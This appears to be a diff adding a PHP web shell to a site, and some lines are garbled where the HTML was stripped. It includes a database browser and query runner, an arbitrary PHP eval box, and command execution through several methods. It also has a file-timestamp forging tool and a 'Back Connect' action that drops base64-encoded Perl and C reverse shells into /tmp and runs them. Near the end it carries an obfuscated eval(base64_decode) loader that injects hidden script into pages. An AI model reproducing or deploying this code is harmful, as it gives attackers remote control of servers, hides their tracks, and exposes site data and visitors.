+ $query = q("SHOW DATABASES");
+ $dbs = array();
+ $dbs[] = '-- Select a database --';
+ while($db = mysql_fetch_array($query)) {
+ $dbs[$db['Database']] = $db['Database'];
+ }
+ makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
+ $tabledb = array();
+ if ($dbname) {
+ p('');
+ p('Current dababase: '.$dbname.' ');
+ if ($tablename) {
+ p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]');
+ }
+ p('
');
+ mysql_select_db($dbname);
+
+ $getnumsql = '';
+ $runquery = 0;
+ if ($sql_query) {
+ $runquery = 1;
+ }
+ $allowedit = 0;
+ if ($tablename && !$sql_query) {
+ $sql_query = "SELECT * FROM $tablename";
+ $getnumsql = $sql_query;
+ $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
+ $allowedit = 1;
+ }
+ p('');
+ if ($tablename || ($runquery && $sql_query)) {
+ if ($doing == 'structure') {
+ $result = q("SHOW COLUMNS FROM $tablename");
+ $rowdb = array();
+ while($row = mysql_fetch_array($result)) {
+ $rowdb[] = $row;
+ }
+ p('');
+ p('');
+ p('Field ');
+ p('Type ');
+ p('Null ');
+ p('Key ');
+ p('Default ');
+ p('Extra ');
+ p(' ');
+ foreach ($rowdb as $row) {
+ $thisbg = bg();
+ p('');
+ p(''.$row['Field'].' ');
+ p(''.$row['Type'].' ');
+ p(''.$row['Null'].' ');
+ p(''.$row['Key'].' ');
+ p(''.$row['Default'].' ');
+ p(''.$row['Extra'].' ');
+ p(' ');
+ }
+ tbfoot();
+ } elseif ($doing == 'insert' || $doing == 'edit') {
+ $result = q('SHOW COLUMNS FROM '.$tablename);
+ while ($row = mysql_fetch_array($result)) {
+ $rowdb[] = $row;
+ }
+ $rs = array();
+ if ($doing == 'insert') {
+ p('Insert new line in '.$tablename.' table » ');
+ } else {
+ p('Update record in '.$tablename.' table » ');
+ $where = base64_decode($base64);
+ $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
+ $rs = mysql_fetch_array($result);
+ }
+ p('');
+ } else {
+ $querys = @explode(';',$sql_query);
+ foreach($querys as $num=>$query) {
+ if ($query) {
+ p("Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."
");
+ switch(qy($query))
+ {
+ case 0:
+ p('Error : '.mysql_error().' ');
+ break;
+ case 1:
+ if (strtolower(substr($query,0,13)) == 'select * from') {
+ $allowedit = 1;
+ }
+ if ($getnumsql) {
+ $tatol = mysql_num_rows(q($getnumsql));
+ $multipage = multi($tatol, $pagenum, $page, $tablename);
+ }
+ if (!$tablename) {
+ $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
+ $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
+ preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
+ $tablename = $matches[1][0];
+ }
+ $result = q($query);
+ p($multipage);
+ p('');
+ p('');
+ if ($allowedit) p('Action ');
+ $fieldnum = @mysql_num_fields($result);
+ for($i=0;$i<$fieldnum;$i++){
+ $name = @mysql_field_name($result, $i);
+ $type = @mysql_field_type($result, $i);
+ $len = @mysql_field_len($result, $i);
+ p("$name$type($len) ");
+ }
+ p(' ');
+ while($mn = @mysql_fetch_assoc($result)){
+ $thisbg = bg();
+ p('');
+ $where = $tmp = $b1 = '';
+ foreach($mn as $key=>$inside){
+ if ($inside) {
+ $where .= $tmp.$key."='".addslashes($inside)."'";
+ $tmp = ' AND ';
+ }
+ $b1 .= ''.html_clean($inside).' ';
+ }
+ $where = base64_encode($where);
+ if ($allowedit) p('Edit | Del ');
+ unset($b1);
+ }
+ tbfoot();
+ p($multipage);
+ break;
+ case 2:
+ $ar = mysql_affected_rows();
+ p('affected rows : '.$ar.' ');
+ break;
+ }
+ }
+ }
+ }
+ } else {
+ $query = q("SHOW TABLE STATUS");
+ $table_num = $table_rows = $data_size = 0;
+ $tabledb = array();
+ while($table = mysql_fetch_array($query)) {
+ $data_size = $data_size + $table['Data_length'];
+ $table_rows = $table_rows + $table['Rows'];
+ $table['Data_length'] = sizecount($table['Data_length']);
+ $table_num++;
+ $tabledb[] = $table;
+ }
+ $data_size = sizecount($data_size);
+ unset($table);
+ p('");
+ fr($query);
+ }
+ }
+ }
+ tbfoot();
+ @mysql_close();
+}//end sql backup
+
+
+elseif ($action == 'backconnect') {
+ !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
+ !$yourport && $yourport = '12345';
+ $usedb = array('perl'=>'perl','c'=>'c');
+
+ $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
+ "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
+ "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
+ "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
+ "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
+ "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
+ "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+ $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
+ "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
+ "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
+ "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
+ "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
+ "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
+ "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
+ "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+
+ if ($start && $yourip && $yourport && $use){
+ if ($use == 'perl') {
+ cf('/tmp/angel_bc',$back_connect);
+ $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
+ } else {
+ cf('/tmp/angel_bc.c',$back_connect_c);
+ $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
+ @unlink('/tmp/angel_bc.c');
+ $res = execute("/tmp/angel_bc $yourip $yourport &");
+ }
+ m("Now script try connect to $yourip port $yourport ...");
+ }
+
+ formhead(array('title'=>'Back Connect'));
+ makehide('action','backconnect');
+ p('');
+ p('Your IP:');
+ makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
+ p('Your Port:');
+ makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
+ p('Use:');
+ makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
+ makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
+ p('
');
+ formfoot();
+}//end sql backup
+
+elseif ($action == 'eval') {
+ $phpcode = trim($phpcode);
+ if($phpcode){
+ if (!preg_match('#<\?#si', $phpcode)) {
+ $phpcode = "";
+ }
+ eval("?".">$phpcode'Eval PHP Code'));
+ makehide('action','eval');
+ maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
+ p('Get plugins
');
+ formfooter();
+}//end eval
+
+elseif ($action == 'editfile') {
+ if(file_exists($opfile)) {
+ $fp=@fopen($opfile,'r');
+ $contents=@fread($fp, filesize($opfile));
+ @fclose($fp);
+ $contents=htmlspecialchars($contents);
+ }
+ formhead(array('title'=>'Create / Edit File'));
+ makehide('action','file');
+ makehide('dir',$nowpath);
+ makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
+ maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
+ formfooter();
+}//end editfile
+
+elseif ($action == 'newtime') {
+ $opfilemtime = @filemtime($opfile);
+ //$time = strtotime("$year-$month-$day $hour:$minute:$second");
+ $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
+ formhead(array('title'=>'Clone file was last modified time'));
+ makehide('action','file');
+ makehide('dir',$nowpath);
+ makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
+ makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
+ formfooter();
+ formhead(array('title'=>'Set last modified'));
+ makehide('action','file');
+ makehide('dir',$nowpath);
+ makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
+ p('Instead »');
+ p('year:');
+ makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
+ p('month:');
+ makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
+ p('day:');
+ makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
+ p('hour:');
+ makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
+ p('minute:');
+ makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
+ p('second:');
+ makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
+ p('
');
+ formfooter();
+}//end newtime
+
+elseif ($action == 'shell') {
+ if (IS_WIN && IS_COM) {
+ if($program && $parameter) {
+ $shell= new COM('Shell.Application');
+ $a = $shell->ShellExecute($program,$parameter);
+ m('Program run has '.(!$a ? 'success' : 'fail'));
+ }
+ !$program && $program = 'c:\windows\system32\cmd.exe';
+ !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
+ formhead(array('title'=>'Execute Program'));
+ makehide('action','shell');
+ makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
+ p('');
+ makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
+ makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
+ p('
');
+ formfoot();
+ }
+ formhead(array('title'=>'Execute Command'));
+ makehide('action','shell');
+ if (IS_WIN && IS_COM) {
+ $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
+ makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
+ }
+ p('');
+ makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
+ makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
+ p('
');
+ formfoot();
+
+ if ($command) {
+ p('');
+ if ($execfunc=='wscript' && IS_WIN && IS_COM) {
+ $wsh = new COM('WScript.shell');
+ $exec = $wsh->exec('cmd.exe /c '.$command);
+ $stdout = $exec->StdOut();
+ $stroutput = $stdout->ReadAll();
+ echo $stroutput;
+ } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
+ $descriptorspec = array(
+ 0 => array('pipe', 'r'),
+ 1 => array('pipe', 'w'),
+ 2 => array('pipe', 'w')
+ );
+ $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
+ if (is_resource($process)) {
+ fwrite($pipes[0], $command."\r\n");
+ fwrite($pipes[0], "exit\r\n");
+ fclose($pipes[0]);
+ while (!feof($pipes[1])) {
+ echo fgets($pipes[1], 1024);
+ }
+ fclose($pipes[1]);
+ while (!feof($pipes[2])) {
+ echo fgets($pipes[2], 1024);
+ }
+ fclose($pipes[2]);
+ proc_close($process);
+ }
+ } else {
+ echo(execute($command));
+ }
+ p(' ');
+ }
+}//end shell
+
+elseif ($action == 'phpenv') {
+ $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
+ $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
+ !$dis_func && $dis_func = 'No';
+ $info = array(
+ 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
+ 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
+ 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
+ 4 => array('Server OS',PHP_OS),
+ 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
+ 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
+ 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
+ 8 => array('PHP run mode',strtoupper(php_sapi_name())),
+ 9 => array('The file path',__FILE__),
+
+ 10 => array('PHP Version',PHP_VERSION),
+ 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes ' : 'No')),
+ 12 => array('Safe Mode',getcfg('safe_mode')),
+ 13 => array('Administrator',$adminmail),
+ 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
+ 15 => array('enable_dl',getcfg('enable_dl')),
+ 16 => array('display_errors',getcfg('display_errors')),
+ 17 => array('register_globals',getcfg('register_globals')),
+ 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
+ 19 => array('memory_limit',getcfg('memory_limit')),
+ 20 => array('post_max_size',getcfg('post_max_size')),
+ 21 => array('upload_max_filesize',$upsize),
+ 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
+ 23 => array('disable_functions',$dis_func),
+ );
+
+ if($phpvarname) {
+ m($phpvarname .' : '.getcfg($phpvarname));
+ }
+
+ formhead(array('title'=>'Server environment'));
+ makehide('action','phpenv');
+ makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
+ formfooter();
+
+ $hp = array(0=> 'Server', 1=> 'PHP');
+ for($a=0;$a<2;$a++) {
+ p(''.$hp[$a].' » ');
+ p('');
+ if ($a==0) {
+ for($i=1;$i<=9;$i++) {
+ p(''.$info[$i][0].': '.$info[$i][1].''.$info[$i][0].': '.$info[$i][1].' ');
+ }
+}//end phpenv
+
+else {
+ m('Undefined Action');
+}
+
+?>
+
+
+
+ Copyright (C) 2000-2010
SadrazaM All Rights Reserved.
+
First ' : '').($curpage > 1 ? 'Prev ' : '');
+ for($i = $from; $i <= $to; $i++) {
+ $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] ';
+ }
+ $multipage .= ($curpage < $pages ? 'Next ' : '').($to < $pages ? ' Last ' : '');
+ $multipage = $multipage ? 'Pages: '.$multipage.'
' : '';
+ }
+ return $multipage;
+}
+// ||-++ы++
+function loginpage() {
+?>
+
+
+Can not connect to MySQL server');
+ exit;
+ }
+ if($link && $dbname) {
+ if (!@mysql_select_db($dbname, $link)) {
+ p('Database selected has error ');
+ exit;
+ }
+ }
+ if($link && mysql_get_server_info() > '4.1') {
+ if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
+ q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
+ }
+ }
+ return $link;
+}
+
+// +е|Ї+к-х+++
+function s_array(&$array) {
+ if (is_array($array)) {
+ foreach ($array as $k => $v) {
+ $array[$k] = s_array($v);
+ }
+ } else if (is_string($array)) {
+ $array = stripslashes($array);
+ }
+ return $array;
+}
+
+// |х| HTML| -ы
+function html_clean($content) {
+ $content = htmlspecialchars($content);
+ $content = str_replace("\n", "'.$array['name'].' ';}} return '';}$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
+// ++| -+-+
+function deltree($deldir) {
+ $mydir=@dir($deldir);
+ while($file=$mydir->read()) {
+ if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
+ @chmod($deldir.'/'.$file,0777);
+ deltree($deldir.'/'.$file);
+ }
+ if (is_file($deldir.'/'.$file)) {
+ @chmod($deldir.'/'.$file,0777);
+ @unlink($deldir.'/'.$file);
+ }
+ }
+ $mydir->close();
+ @chmod($deldir,0777);
+ return @rmdir($deldir) ? 1 : 0;
+}
+
+// #э+ё--+ф|-#|+#+л|ц++
+function bg() {
+ global $bgc;
+ return ($bgc++%2==0) ? 'alt1' : 'alt2';
+}
+
+// +ё+б|#|#|-+-+ -|-|-++|
+function getPath($scriptpath, $nowpath) {
+ if ($nowpath == '.') {
+ $nowpath = $scriptpath;
+ }
+ $nowpath = str_replace('\\', '/', $nowpath);
+ $nowpath = str_replace('//', '/', $nowpath);
+ if (substr($nowpath, -1) != '/') {
+ $nowpath = $nowpath.'/';
+ }
+ return $nowpath;
+}
+
+// +ё+б|#|#-+-+|-+-+|-+-+
+function getUpPath($nowpath) {
+ $pathdb = explode('/', $nowpath);
+ $num = count($pathdb);
+ if ($num > 2) {
+ unset($pathdb[$num-1],$pathdb[$num-2]);
+ }
+ $uppath = implode('/', $pathdb).'/';
+ $uppath = str_replace('//', '/', $uppath);
+ return $uppath;
+}
+
+// +ь#щPHP+ф+|#+-
+function getcfg($varname) {
+ $result = get_cfg_var($varname);
+ if ($result == 0) {
+ return 'No';
+ } elseif ($result == 1) {
+ return 'Yes';
+ } else {
+ return $result;
+ }
+}
+
+// +ь#щ|п- |щ+Ў
+function getfun($funName) {
+ return (false !== function_exists($funName)) ? 'Yes' : 'No';
+}
+
+function GetList($dir){
+ global $dirdata,$j,$nowpath;
+ !$j && $j=1;
+ if ($dh = opendir($dir)) {
+ while ($file = readdir($dh)) {
+ $f=str_replace('//','/',$dir.'/'.$file);
+ if($file!='.' && $file!='..' && is_dir($f)){
+ if (is_writable($f)) {
+ $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
+ $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
+ $dirdata[$j]['dirchmod']=getChmod($f);
+ $dirdata[$j]['dirperm']=getPerms($f);
+ $dirdata[$j]['dirlink']=ue($dir);
+ $dirdata[$j]['server_link']=$f;
+ $dirdata[$j]['client_link']=ue($f);
+ $j++;
+ }
+ GetList($f);
+ }
+ }
+ closedir($dh);
+ clearstatcache();
+ return $dirdata;
+ } else {
+ return array();
+ }
+}
+
+function qy($sql) {
+ //echo $sql.'');
+}
+function tbfoot(){
+ p('
');
+}
+
+function makehide($name,$value=''){
+ p("$arg[title]
");
+ } else {
+ p("$arg[title]');
+ p("$arg[title] ");
+ if (is_array($arg['option'])) {
+ foreach ($arg['option'] as $key=>$value) {
+ if ($arg['selected']==$key) {
+ p("$value ");
+ } else {
+ p("$value ");
+ }
+ }
+ }
+ p(" ");
+ if ($arg['newline']) p('
');
+}
+function formhead($arg = array()) {
+ !$arg['method'] && $arg['method'] = 'post';
+ !$arg['action'] && $arg['action'] = $self;
+ $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
+ !$arg['name'] && $arg['name'] = 'form1';
+ p("');
+}
+
+function formfoot(){
+ p('');
+}
+
+// |ў-+|п-
+function pr($a) {
+ echo '';
+ print_r($a);
+ echo ' ';
+}
+
+?>
+
\ No newline at end of file